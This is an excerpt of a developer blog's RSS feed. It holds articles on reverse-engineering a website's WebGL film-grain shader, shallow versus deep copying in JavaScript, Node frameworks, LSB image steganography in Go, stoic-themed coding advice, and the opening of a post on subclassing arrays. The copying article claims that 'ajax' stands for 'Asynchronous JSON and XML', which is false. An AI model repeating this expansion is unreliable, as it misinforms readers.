<h3 id="finding-the-relevant-code-for-painting-the-canvas">Finding the relevant code for painting the Canvas</h3>
<p>By focusing on the <code>&lt;canvas&gt;</code> element in the devtools &quot;Elements&quot; tab, you can access it in the console using <code>$0</code>.</p>
<p>Trying out various context types, I found out that it's using webgl.</p>
<pre class="hljs"><code>$<span class="hljs-number">0.</span>getContext(<span class="hljs-string">'2d'</span>) <span class="hljs-comment">// null</span>
$<span class="hljs-number">0.</span>getContext(<span class="hljs-string">'webgl'</span>) <span class="hljs-comment">// bingo!</span>
</code></pre>
<p>With this knowledge it's easier to find the relevant code in the compiled JavaScript.</p>
<p>In the &quot;Sources&quot; tab, I right-clicked on &quot;<a href="http://www.cupheadcountdown.com">www.cupheadcountdown.com</a>&quot; &gt; &quot;Search in Files&quot; and searched for &quot;webgl&quot;.
This yielded 3 results which I checked, after using my browser's &quot;pretty print&quot; option on the bottom left.</p>
<p>The third result looked very promising, here's a snippet from said code (compiled &amp; pretty printed):</p>
<pre class="hljs"><code><span class="hljs-keyword">this</span>.enable = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    o.animID = requestAnimationFrame(o.render),
    <span class="hljs-built_in">window</span>.addEventListener(<span class="hljs-string">"resize"</span>, o.onResize)
}
,
<span class="hljs-keyword">this</span>.disable = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>) </span>{
    cancelAnimationFrame(o.animID),
    <span class="hljs-built_in">window</span>.removeEventListener(<span class="hljs-string">"resize"</span>, o.onResize),
    o.animID = <span class="hljs-literal">null</span>
}
,
<span class="hljs-keyword">this</span>.render = <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">time</span>) </span>{
    o.animID = requestAnimationFrame(o.render),
    o.skipFrame++,
    o.skipFrame &gt;= <span class="hljs-number">10</span> &amp;&amp; (o.skipFrame = <span class="hljs-number">0</span>,
    r.d(o.gl.canvas, <span class="hljs-number">.5</span>),
    o.gl.viewport(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, o.viewport.x, o.viewport.y),
    o.gl.useProgram(o.programInfo.program),
    r.e(o.gl, o.programInfo, o.bufferInfo),
    o.uniforms.time = <span class="hljs-number">.001</span> * time,
    o.uniforms.color1 = [o.color1.r, o.color1.g, o.color1.b],
    o.uniforms.color2 = [o.color2.r, o.color2.g, o.color2.b],
    o.uniforms.resolution = [o.viewport.x, o.viewport.y],
    r.f(o.programInfo, o.uniforms),
    r.c(o.gl, o.bufferInfo))
}
</code></pre>
<h3 id="reverse-engineering-the-compiled-code">Reverse-Engineering the compiled code</h3>
<p>The code was fairly readable, frankly I had no idea what all these one-letter variable names were for... Though the frequently used variable <code>o</code> was easy as it was declared just at the top of the function as <code>var o = this;</code>. It's the Vue component instance.</p>
<p>With this, I layed out the code in a class, and I got most of it looking like regular code again.</p>
<pre class="hljs"><code><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">GrainRenderer</span> </span>{
  render(time) {
    <span class="hljs-keyword">this</span>.animID = requestAnimationFrame(<span class="hljs-keyword">this</span>.render.bind(<span class="hljs-keyword">this</span>));
    <span class="hljs-keyword">this</span>.skipFrame++;
    <span class="hljs-keyword">this</span>.skipFrame &gt;= <span class="hljs-number">10</span> &amp;&amp; (<span class="hljs-keyword">this</span>.skipFrame = <span class="hljs-number">0</span>);
    r.d(<span class="hljs-keyword">this</span>.gl.canvas, <span class="hljs-number">0.5</span>);
    <span class="hljs-keyword">this</span>.gl.viewport(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-keyword">this</span>.viewport.x, <span class="hljs-keyword">this</span>.viewport.y);
    <span class="hljs-comment">// ...</span>
  }
}
</code></pre>
<p>What's interesting about the above code is that the variable names for a class are not shortened (<code>this.skipFrame</code>) and so it's very easy to comprehend all the other code. This is important for later.</p>
<p>Now it's to find out what the variable names &quot;r&quot;, &quot;h&quot;, and &quot;c&quot; stand for...</p>
<p>&quot;r&quot; is being used all over the place and contains lots of functions like &quot;r.d&quot;, &quot;r.c&quot;, or &quot;r.f&quot;.
&quot;c&quot; and &quot;h&quot; are only being used once <code>this.programInfo = r.b(this.gl, [c.a, h.a]);</code>.</p>
<p>I realized the code is using <code>requestAnimationFrame</code> so the &quot;render&quot; method will run in a constant loop. This is where I now set a breakpoint and triggered the browser's debugger by focusing on the <a href="http://cupheadcountdown.com">cupheadcountdown.com</a> tab.</p>
<p>Luckily, <code>c.a</code> and <code>h.a</code> turned out to be just strings. Strings containing GLSL language, which is used for rendering webGL.</p>
<p>The code for <code>c.a</code> is simply:</p>
<pre class="hljs"><code><span class="hljs-keyword">attribute</span> <span class="hljs-type">vec4</span> position;

<span class="hljs-type">void</span> main() {
	<span class="hljs-built_in">gl_Position</span> = position;
}`;
</code></pre>
<p>while the other string was a lot bigger. It was what entailed the actual code to render the film-grain effect. The devs conveniently left comments in the code:</p>
<pre class="hljs"><code><span class="hljs-comment">// Random spots</span>
<span class="hljs-comment">// Vignette</span>
<span class="hljs-comment">// Random lines</span>
<span class="hljs-comment">// Grain</span>
</code></pre>
<h3 id="whats-r...">What's &quot;r&quot;...</h3>
<p>Now to the final hurdle...</p>
<p>Stepping into some of <code>r</code>'s functions with the debugger turned out that it's a rabbit-hole. Rather than digging deep, this got me thinking. Would they really go to such lengths or is this maybe a library? This is where the non-compiled variable names comes into play (like &quot;this.programInfo&quot;).</p>
<p>Searching for <code>webgl &quot;programInfo&quot;</code> yielded a few promising results. And finally, the documentation of twgl.js looked like it contained all the relevant functions.</p>
<p>it's quite doable to map most functions by comparing the arguments the functions took, the order in which the code was executed, as well as the variable names.</p>
<pre class="hljs"><code><span class="hljs-comment">// cuphead</span>
<span class="hljs-keyword">this</span>.programInfo = r.b(<span class="hljs-keyword">this</span>.gl, [c.a, h.a]);
<span class="hljs-comment">//twgl.js docs</span>
<span class="hljs-keyword">const</span> programInfo = twgl.createProgramInfo(gl, [<span class="hljs-string">"vs"</span>, <span class="hljs-string">"fs"</span>]);

<span class="hljs-comment">// cuphead</span>
<span class="hljs-keyword">this</span>.bufferInfo = r.a(<span class="hljs-keyword">this</span>.gl, {
    <span class="hljs-attr">position</span>: [<span class="hljs-number">-1</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">3</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">3</span>, <span class="hljs-number">0</span>]
})
<span class="hljs-comment">// twgl.js docs</span>
<span class="hljs-keyword">const</span> arrays = {
  <span class="hljs-attr">position</span>: [<span class="hljs-number">-1</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">-1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>],
};
<span class="hljs-keyword">const</span> bufferInfo = twgl.createBufferInfoFromArrays(gl, arrays);

<span class="hljs-comment">// cuphead</span>
o.gl.useProgram(o.programInfo.program),
r.e(o.gl, o.programInfo, o.bufferInfo),
<span class="hljs-comment">// ...</span>
r.f(o.programInfo, o.uniforms),
r.c(o.gl, o.bufferInfo))
<span class="hljs-comment">// twgl.js</span>
gl.useProgram(programInfo.program);
twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo);
twgl.setUniforms(programInfo, uniforms);
twgl.drawBufferInfo(gl, bufferInfo);
</code></pre>
<p>The only difficult one was <code>r.d(o.gl.canvas, .5)</code>. So I stepped into the function with the debugger and found this code:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ze</span>(<span class="hljs-params">canvas, t</span>) </span>{
    t = t || <span class="hljs-number">1</span>,
    t = <span class="hljs-built_in">Math</span>.max(<span class="hljs-number">0</span>, t);
    <span class="hljs-keyword">const</span> e = canvas.clientWidth * t | <span class="hljs-number">0</span>
      , n = canvas.clientHeight * t | <span class="hljs-number">0</span>;
    <span class="hljs-keyword">return</span> (canvas.width !== e || canvas.height !== n) &amp;&amp; (canvas.width = e,
    canvas.height = n,
    !<span class="hljs-number">0</span>)
}
</code></pre>
<p>With this, I opened twgl.js' GitHub page and looked for for &quot;Math.max&quot;. After a bit of searching I finally found this code: <a href="https://github.com/greggman/twgl.js/blob/42291da89afb019d1b5e32cd98686aa07cca063d/npm/base/dist/twgl.js#L4683-L4695">https://github.com/greggman/twgl.js/blob/42291da89afb019d1b5e32cd98686aa07cca063d/npm/base/dist/twgl.js#L4683-L4695</a>. Got it!</p>
<p><strong>And voila, puzzle solved</strong>.</p>
<h2 id="closing">Closing</h2>
<p>This was a fun little challenge, I hope you could take something away from it. Even it's just that you should definitely play and (soon) watch Cuphead ;)</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Explaining shallow / deep copying through acronyms]]></title>
            <link>https://michaelzanggl.com/articles/shallow-copying-explained-in-simple-terms/</link>
            <guid>shallow-copying-explained-in-simple-terms</guid>
            <description><![CDATA[Learn all about the benefits of JavaScript's array methods and iterables, effectively avoiding temporary variables and conditions, as well as revealing intent.]]></description>
            <content:encoded><![CDATA[<p>To understand shallow / deep copying let's step away from the keyboard for a moment and look at dimensions in General.</p>
<p>In fact, let's take a look at the acronym <code>ajax</code>. What does it actually stand for?</p>
<blockquote>
<p><code>Asynchronous JSON and XML</code>.</p>
</blockquote>
<p>Wait... so the acronym <code>ajax</code> is made up of two more acronyms <code>JSON</code> and <code>XML</code>.
In other words, the acronym <code>ajax</code> has a second dimension of acronyms which makes it a multi dimensional acronym! 😱</p>
<p>So when we unabbreviate <code>ajax</code> to <code>Asynchronous JSON and XML</code> we only unabbreviate the first dimension, in other words: shallow-unabbreviating. A word that may not yet exist today, but will soon find its way into dictionaries. Notice how the second dimensions <code>JSON</code> and <code>XML</code> stay untouched. We are merely referencing to these other acronyms.</p>
<p>If we were to deep-unabbreviate <code>ajax</code>, this is what we would get:</p>
<blockquote>
<p>Asynchronous JavaScript Object Notation And Extensible Markup Language</p>
</blockquote>
<p>Imagine, in the old days, we would have had to write
<code>$.asynchronousJavaScriptObjectNotationAndExtensibleMarkupLanguage</code></p>
<p>Another example of a multi dimensional acronym is the JAM stack.</p>
<p>Shallow-unabbreviated:</p>
<blockquote>
<p>JavaScript API Markup</p>
</blockquote>
<p>Deep-unabbreviated:</p>
<blockquote>
<p>JavaScript Application Programming Interface Markup</p>
</blockquote>
<hr>
<x-ad />
<p>So let's step away from these rather unfortunately named acronyms and into the code.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> ajax = {
  <span class="hljs-attr">a</span>: <span class="hljs-string">'Asynchronous'</span>,
  <span class="hljs-attr">j</span>: {
    <span class="hljs-attr">j</span>: <span class="hljs-string">'Java'</span>,
    <span class="hljs-attr">s</span>: <span class="hljs-string">'Script'</span>,
    <span class="hljs-attr">o</span>: <span class="hljs-string">'Object'</span>,
    <span class="hljs-attr">n</span>: <span class="hljs-string">'Notation'</span>
  },
  <span class="hljs-attr">a2</span>: <span class="hljs-string">'and'</span>,
  <span class="hljs-attr">x</span>: {
    <span class="hljs-attr">x</span>: <span class="hljs-string">'Extensible'</span>,
    <span class="hljs-attr">m</span>: <span class="hljs-string">'Markup'</span>,
    <span class="hljs-attr">l</span>: <span class="hljs-string">'Language'</span>
  }
}
</code></pre>
<p>Here we have <code>ajax</code> layed out in a two dimensional object.</p>
<p>What happens if we copy this object into another object</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> obj = ajax
obj.x = <span class="hljs-literal">null</span>

obj.x <span class="hljs-comment">//? null</span>
ajax.x <span class="hljs-comment">//? null</span>
</code></pre>
<p>This won't work. <code>obj</code> will be merely a reference to <code>ajax</code>. Changing one will change the other respectively. That's the way objects work in JavaScript.</p>
<p>How about this?</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> obj = <span class="hljs-built_in">Object</span>.assign({}, ajax) 
<span class="hljs-comment">// or: const obj = {...ajax}</span>

obj.x = <span class="hljs-literal">null</span>

obj.x <span class="hljs-comment">//? null</span>
ajax.x <span class="hljs-comment">//? { x: 'Extensible', m: 'Markup', l: 'Language' }</span>
</code></pre>
<p>Nice, we created an actual copy! Or did we...?</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> obj = <span class="hljs-built_in">Object</span>.assign({}, ajax)

obj.x.l = <span class="hljs-string">'lang'</span>

obj.x.l <span class="hljs-comment">//? lang</span>
ajax.x.l <span class="hljs-comment">//? lang</span>
</code></pre>
<p>Turns out <code>Object.assign</code> as well as ES6 spread syntax are merely doing a shallow-copy!</p>
<p>So how can we possibly copy the entire object, i.e. deep-copy?</p>
<p>A rather hackish solution you often see is the following</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> obj = <span class="hljs-built_in">JSON</span>.parse(<span class="hljs-built_in">JSON</span>.stringify(ajax))
</code></pre>
<p>While this would work in our example, it would simply remove any methods on the object. It will also not work on maps and sets.</p>
<p>The sad truth is, JavaScript does not provide such functionality out of the box. You can either create your very own deep copy method or make use of <a href="https://www.npmjs.com/package/deepcopy">existing solutions</a>.</p>
<p>PS. In JavaScript arrays are objects, so everything we talked about also applies to arrays.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple libraries do not guarantee simplicity]]></title>
            <link>https://michaelzanggl.com/articles/simple-libraries-do-not-guarantee-simplicity/</link>
            <guid>simple-libraries-do-not-guarantee-simplicity</guid>
            <description><![CDATA[Rethinking popular NodeJs libraries.]]></description>
            <content:encoded><![CDATA[<p>So often I see people architecturing their projects around low level routing frameworks like expressjs, hapi, koa etc. They often get advertised as &quot;powerful&quot; and are the main resources to develop &quot;robust&quot; web and mobile applications.</p>
<p>Sure it starts of fairly quick, but soon you will be in need of controllers, error handling, accessing a database, an ORM, authentication, authorization, sending mails, caching, validation, and at that point most definitely, a clean architecture to keep everything together. There are of course many other things that you are missing out on such as events, a repl tool, database migrations, ioc container, logging, csrf protection and a way to write tests easily.</p>
<p>Before you know it, you are trapped in spending a huge amount of time hacking together your own framework, rather than writing the application you wanted to build in the first place. Now I don't know what is so robust about that...</p>
<x-ad />
<p><img src="https://thepracticaldev.s3.amazonaws.com/i/b238nusnt0n2x4ogy5tt.jpg" alt=""></p>
<p>I am going to list down some high level alternatives here: (if you know more, let me know)</p>
<ul>
<li><a href="https://adonisjs.com/">https://adonisjs.com/</a> (inspired by Laravel ❤️)</li>
<li><a href="https://nestjs.com/">https://nestjs.com/</a></li>
<li><a href="https://sailsjs.com/">https://sailsjs.com/</a></li>
</ul>
<p>While the inital learning curve is definitely higher, you will benefit from it in the long run. These frameworks can teach you a lot about clean architecture and code, commonly applied concepts, keeping your application secure and how to focus only on the application you set out to build.</p>
<p>Don't get me wrong, I can certainly see how building everything from scratch is a good learning experience, it was for me! But after I have done it one time and wanted to start another application, I didn't really feel like doing it all over again. You should also be very careful with using your custom built authentication system on production.</p>
<p>Another thing would be onboarding, people familiar with the high level framework can immediately jump into coding, rather than spending a day trying to understand the architecture of the project only to fix a small bug. In case they don't know the framework yet, there is at least documentation and blog posts to read about it.</p>
<p>At the end of the day, we want to <strong>build applications</strong> and <strong>be confident</strong> about the code we have written.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hidden in plain sight]]></title>
            <link>https://michaelzanggl.com/articles/steganography/</link>
            <guid>steganography</guid>
            <content:encoded><![CDATA[<p>To us, a flower looks like a splash of color. To a bee, it’s a visual map. Many flowers have ultraviolet patterns invisible to humans but clear to pollinators. These markings act like landing guides, directing bees straight to nectar.</p>
<p>UV flowers, insects disguised as leaves, octopuses blending into coral... Secrets can sit in the open, plain and boring, until you know the key that reveals their hidden meaning.</p>
<p>Nature has been “hiding” information this way for millions of years. Humans, too, learned the same trick: the best way to conceal a message is not just behind locks or codes, but inside something that looks completely ordinary.</p>
<p>The Romans, for example, wrote with milk that dried invisible, leaving a letter that looked blank until heated. To most, it was an innocent sheet of parchment, but to the intended recipient, it revealed a secret.</p>
<p>Over the centuries, methods like this grew more sophisticated, and with the rise of the digital age, steganography found entirely new opportunities.</p>
<p>Today, billions of images are viewed online every day and some of them may be carrying secrets. Let’s explore the fascinating world of steganography.</p>
<hr>
<p>Steganography comes in many forms and, similarly to encryption, relies on the sender and receiver agreeing on a method. For example, &quot;the first letter of each word reveals the password.&quot;</p>
<p>The difference with cryptography is this: with encryption, you know there’s a hidden message. With steganography, you may be completely unaware that one exists.</p>
<p>For instance, hiding the password &quot;SynwiL&quot; using cryptography might produce something like <code>4MJJ0NwTSiJJdBp+g9Skrw==</code> whereas steganography could encode it in a sentence like: <code>See you next week in London.</code></p>
<p>But humans are clever, and simple text-based methods can be easily uncovered.
We need something bigger, way bigger, where tiny bits can be changed without anyone noticing. Painters sometimes hide their signature in the eyes of a portrait, perhaps we can do something similar with digital images.</p>
<p>Large images come with many pixels, and pixels come with many bytes.</p>
<p>For example, a 1920x1080 image has over 2 million pixels. A 24-bit color BMP image uses 3 bytes (red, green, blue) per pixel, totaling over 6 million bytes.</p>
<p>Each pixel can display 16.7 million different colors (2^(3*8)) and the human eye cannot distinguish between subtle differences. This is exactly what we can exploit: by changing the least significant bit (LSB) of a byte, we can embed a secret message in an image.</p>
<p>However, there are a few precautions:</p>
<ul>
<li>Tools can detect statistical anomalies, so it’s wise to first encrypt the message. This ensures that even if discovered, the message remains unreadable.</li>
<li>More sophisticated algorithms exist to mitigate these risks, but we won’t cover them today.</li>
</ul>
<p>Choosing which bits to flip is also crucial. Sequential changes are too obvious, and the receiver still needs to reconstruct the message. This rules out simple methods and true randomness, leaving us with pseudo-randomness. Using a PRNG (pseudo-random number generator) with a shared seed and tool, both sender and receiver can deterministically select the same seemingly random bytes. This is powerful: even if the seed is compromised, the algorithm to generate the numbers remain a mystery.</p>
<p>But enough with theory, let's see how this looks in action.</p>
<h2 id="embedding">Embedding</h2>
<p>To embed the message into a file, we first encrypt it, and then turn it into the individual bits.
We also wrap the code in a special signature so we can identify when the message is fully read when extracting:</p>
<pre class="hljs"><code><span class="hljs-keyword">var</span> BMP_HEADER_BYTES = <span class="hljs-number">54</span> <span class="hljs-comment">// we must not change these</span>
<span class="hljs-keyword">var</span> START = <span class="hljs-string">"1::"</span>
<span class="hljs-keyword">var</span> END = <span class="hljs-string">":&gt;0$"</span>

encryptedPayload := encrypt(payload)
<span class="hljs-comment">// wrap payload in start and end tags</span>
payloadBytes := []<span class="hljs-keyword">byte</span>(START + encryptedPayload + END)

<span class="hljs-comment">// turn payload into bits</span>
<span class="hljs-keyword">var</span> bitStringBuilder strings.Builder
bitStringBuilder.Grow(<span class="hljs-built_in">len</span>(payloadBytes) * <span class="hljs-number">8</span>)
<span class="hljs-keyword">for</span> _, b := <span class="hljs-keyword">range</span> payloadBytes {
  bitStringBuilder.WriteString(fmt.Sprintf(<span class="hljs-string">"%08b"</span>, b))
}
payloadBits := bitStringBuilder.String()

<span class="hljs-comment">// check image is large enough</span>
availableBits := <span class="hljs-built_in">len</span>(file) - BMP_HEADER_BYTES
<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(payloadBits) &gt; availableBits {
  log.Fatalf(<span class="hljs-string">"payload is too large to embed in this image."</span>)
}
</code></pre>
<p>&quot;payloadBits&quot; is now a string that has the entire payload encrypted and encoded in binary.</p>
<p>We now initialize our &quot;random&quot; number generator. It returns a function that returns the next position for the given seed and file. We look more in depth at this later.</p>
<pre class="hljs"><code>getNextPosition := startRng(seed, file)
</code></pre>
<p>Now we loop through each bit of the payload, take the byte from the file at the determined position, and replace its final bit with our new payload bit.</p>
<pre class="hljs"><code><span class="hljs-keyword">for</span> _, bit := <span class="hljs-keyword">range</span> payloadBits {
  position := getNextPosition()
  <span class="hljs-comment">// retrieve bits from the next position in the file</span>
  binaryStr := byteToBinaryString(file[position])
  <span class="hljs-comment">// replace LSB</span>
  newBits := binaryStr[:<span class="hljs-built_in">len</span>(binaryStr)<span class="hljs-number">-1</span>] + <span class="hljs-keyword">string</span>(bit)
  <span class="hljs-comment">// write bits back to the file</span>
  file[position] = binaryStringToByte(newBits)
}
</code></pre>
<p>We write the file again and that's all there is for for embedding.</p>
<h2 id="extracting">Extracting</h2>
<p>To extract the message again, we do the same process in reverse.</p>
<p>In an infinite loop, we go through each position using the same rng function and collect the bits. Each 8 bits, we can save one byte. Once we reach the END marker, we break the loop.</p>
<pre class="hljs"><code>getNextPosition := startRng(seed, file)

byteBuffer := <span class="hljs-string">""</span>
<span class="hljs-keyword">var</span> payloadBytes []<span class="hljs-keyword">byte</span>
extractedBits := <span class="hljs-number">0</span>
maxBitsToExtract := <span class="hljs-built_in">len</span>(file) * <span class="hljs-number">8</span> <span class="hljs-comment">// Absolute theoretical maximum</span>

<span class="hljs-keyword">for</span> {
  <span class="hljs-comment">// Prevent infinite loop if END marker is not found</span>
  <span class="hljs-keyword">if</span> extractedBits &gt; maxBitsToExtract {
    log.Fatal(<span class="hljs-string">"Extraction limit reached without finding END marker. Seed likely incorrect."</span>)
  }

  position := getNextPosition()
  <span class="hljs-comment">// extract LSB from position</span>
  binaryStr := byteToBinaryString(file[position])
  byteBuffer += binaryStr[<span class="hljs-built_in">len</span>(binaryStr)<span class="hljs-number">-1</span>:]
  extractedBits++

  <span class="hljs-comment">// once we have one full byte...</span>
  <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(byteBuffer) == <span class="hljs-number">8</span> {
    <span class="hljs-comment">// ... append byte to our final payload</span>
    charByte := binaryStringToByte(byteBuffer)
    payloadBytes = <span class="hljs-built_in">append</span>(payloadBytes, charByte)
    byteBuffer = <span class="hljs-string">""</span>

    payload := <span class="hljs-keyword">string</span>(payloadBytes)
    <span class="hljs-comment">// another safety check</span>
    <span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(payload) == <span class="hljs-built_in">len</span>(START) &amp;&amp; payload != START {
      log.Fatal(<span class="hljs-string">"Start of the message does not match. Seed/Salt likely incorrect."</span>)
    }
    <span class="hljs-comment">// break if end marker was detected</span>
    <span class="hljs-keyword">if</span> strings.HasSuffix(payload, END) {
      <span class="hljs-keyword">break</span>
    }
  }
}
payload := <span class="hljs-keyword">string</span>(payloadBytes)

<span class="hljs-comment">// trim start and end markers and decrypt the message</span>
</code></pre>
<h2 id="prng">PRNG</h2>
<p>&quot;startRng&quot; returns &quot;getNextPosition&quot;. This is so it can keep track of specific variables like the counter and previous position used. &quot;getNextPosition&quot; creates a unique seed using the previous position and counter to avoid repeating the same positions. It also uses the image's meta data to make the positions unique for each image.</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">startRng</span><span class="hljs-params">(seed <span class="hljs-keyword">string</span>, file []<span class="hljs-keyword">byte</span>)</span> <span class="hljs-title">func</span><span class="hljs-params">()</span> <span class="hljs-title">uint64</span></span> {
	seen := <span class="hljs-built_in">make</span>(<span class="hljs-keyword">map</span>[<span class="hljs-keyword">uint64</span>]<span class="hljs-keyword">bool</span>)
	counter := <span class="hljs-number">0</span>
	<span class="hljs-keyword">var</span> previousPos <span class="hljs-keyword">uint64</span>

	<span class="hljs-keyword">return</span> <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">()</span> <span class="hljs-title">uint64</span></span> {
		<span class="hljs-keyword">for</span> {
			imageSize := <span class="hljs-built_in">len</span>(file)
      <span class="hljs-comment">// create a unique seed</span>
			uniqueSeed := seed + strconv.FormatUint(previousPos, <span class="hljs-number">10</span>) + <span class="hljs-string">"$#"</span> + <span class="hljs-keyword">string</span>(file[:BMP_HEADER_SIZE]) + <span class="hljs-keyword">string</span>(imageSize) + <span class="hljs-string">":"</span> + strconv.Itoa(counter)
			pos := prng(uniqueSeed, imageSize)
			previousPos = pos
			counter++
      <span class="hljs-comment">// safety check to avoid reusing positions</span>
			<span class="hljs-keyword">if</span> !seen[pos] {
				seen[pos] = <span class="hljs-literal">true</span>
				<span class="hljs-keyword">return</span> pos
			}
		}
	}
}

<span class="hljs-comment">// based on the unique seed, get the position within the available image size</span>
<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">prng</span><span class="hljs-params">(seed <span class="hljs-keyword">string</span>, imageSize <span class="hljs-keyword">int</span>)</span> <span class="hljs-title">uint64</span></span> {
	modifyableImageSize := imageSize - BMP_HEADER_SIZE
	hasher := sha256.New()
	hasher.Write([]<span class="hljs-keyword">byte</span>(seed))
	seedHashStr := hex.EncodeToString(hasher.Sum(<span class="hljs-literal">nil</span>))[<span class="hljs-number">0</span>:<span class="hljs-number">16</span>]
	seedHash, err := strconv.ParseUint(seedHashStr, <span class="hljs-number">16</span>, <span class="hljs-number">64</span>)

	<span class="hljs-keyword">if</span> err != <span class="hljs-literal">nil</span> {
		log.Fatal(err)
	}

	<span class="hljs-keyword">return</span> seedHash%<span class="hljs-keyword">uint64</span>(modifyableImageSize) + <span class="hljs-keyword">uint64</span>(BMP_HEADER_SIZE)
}
</code></pre>
<hr>
<p>It's surprisingly simple! For the full code, check out <a href="https://github.com/MZanggl/stego-go/tree/main">https://github.com/MZanggl/stego-go/tree/main</a>.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stoic Driven Development]]></title>
            <link>https://michaelzanggl.com/articles/stoic-driven-development/</link>
            <guid>stoic-driven-development</guid>
            <description><![CDATA[If Marcus Aurelius and his philosophical peers were modern-day software engineers, what wisdom might they impart? Let's dive into the stoic-driven developer mindset.]]></description>
            <content:encoded><![CDATA[<p>If Marcus Aurelius and his philosophical peers were modern-day software engineers, what wisdom might they impart? Let's dive into the stoic-driven developer mindset:</p>
<br>
<p><strong>1. What stands in the way becomes the way</strong></p>
<p>Approach new technologies and frameworks with humility. Technical lead Marcus Aurelius advises us to resist the temptation to judge based solely on prior experience or hearsay. Rather than seeing new libraries or methodologies you will be using in your new job as obstacles, view them as opportunities to expand and diversify your skillset. Embrace new approaches and paradigms, transforming challenges into learning experiences.</p>
<p>It is impossible for a man to learn what he thinks he already knows.</p>
<br>
<p><strong>2. Be tolerant with others and strict with yourself</strong></p>
<p>Scrutinize your own work diligently, however, be open to different perspectives during code reviews. While maintaining high standards, recognize the value of diverse approaches and avoid unnecessary clashes over personal coding styles.</p>
<br>
<p><strong>3. Don't expect that all feature requests are good, but that your code goes well with all feature requests</strong></p>
<p>Echoing Junior developer Epictetus, keep your code open for extension but closed for modifications. Nothing ever happens without change, and as all things in this world, so do requirements change. Embrace the inevitable change in your solutions and leave in some wiggle room to accommodate future enhancements.</p>
<br>
<p><strong>4. You don't have to have an opinion about this</strong></p>
<p>Not everything requires a strong opinion or emotional investment. Maintain a level-headed approach, avoiding unnecessary conflicts over preferences in code reviews, post mortems, and tech choices.</p>
<br>
<p><strong>5. Everything that happens, happens as it should, and if you observe carefully, you will find this to be so</strong></p>
<p>In the predictable realm of software engineering, view problems as solvable puzzles. Internalize the understanding that software, unlike human emotions, or evolution, follows a logical flow. Debugging becomes a methodical process when approached as a series of traceable and reproducible data flows.</p>
<p>Data gets taken from one place (user input, database, API, fs, ...), it gets manipulated, and moved somewhere else (database, email, API, etc.). That's all that happens, so when investigating a problem you know the outcome already and can work back from there.</p>
<p>The same is also applicable to development. Start by thinking &quot;how do I move this data from here to there&quot; rather than fixating on a preconceived solution.</p>
<br>
<p><strong>6. If someone can prove me wrong and show me my mistake in any thought or action, I shall gladly change.</strong></p>
<p>This is the stoic idea of &quot;Strong opinions held weakly.&quot; Be open to constructive criticism, and willingly adapt your approach when presented with evidence or insights that challenge your preferences.</p>
<br>
<p><strong>7. Focus on What You Can Control</strong></p>
<p>Epictetus believed in concentrating on the aspects of your project that you can influence and improve. Complaining about a company policy to your peer won't fix said policy, and it will drain the finite energy you have for the day that you could have used for something more productive instead.</p>
<p>The same should be considered in planning out new features. Rather than delegating them to external teams, strive to own your software journey to allow for independent changes in the future.</p>
<br>
<p><strong>8. Memento Mori: Remember You Will Debug</strong></p>
<p>Accept that bugs and issues are inevitable. By acknowledging the impermanence of perfect code, you become better equipped to handle setbacks. Approach bugs with the mindset that they are a natural part of the development lifecycle.</p>
<br>
<p><strong>9. We suffer more often in imagination than in reality.</strong></p>
<p>Remember that it's not things that upset us, it's our judgement of it. Recognize that your judgment, more than the problem itself, can contribute to unnecessary stress.</p>
<p>Senior React.js Engineer Senecar advises against overreacting and planning to migrate the entire project upon stumbling on tech debt. Senecar practiced this daily the time he took over a redux-based GraphQL project. You can approach it step by step, line by line, ticket by ticket, and leave the code a little better than you found it.</p>
<!-- This is also the idea behind my e-book [Intent Driven Development](https://gum.co/intent-driven-development/), simplifying the day-to-day code we write, rather than rewriting the entire code base. -->
<hr>
<p><img src="/images/article/marcus-dev.png" alt="">
^ Generated with DALL-E.</p>
<p>And there you have it, hopefully you found some enjoyment and truth from this light-hearted article! If you want to get serious with this philosophy look no further than Marcus Aurelius' book &quot;Mediations&quot;, or Epictetus' &quot;The Manual&quot;, they are quite fascinating to read!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subclassing arrays in JavaScript]]></title>
            <link>https://michaelzanggl.com/articles/subclassing-arrays/</link>
            <guid>subclassing-arrays</guid>
            <description><![CDATA[Exploring subclassing, a new addition with ES6.]]></description>
            <content:encoded><![CDATA[<p>In my <a href="/articles/array-methods-and-iterables">previous post</a> I was showing how with various array methods we can reveal our intent. But in the end I was not trully satisfied with the result.</p>
<p>While</p>
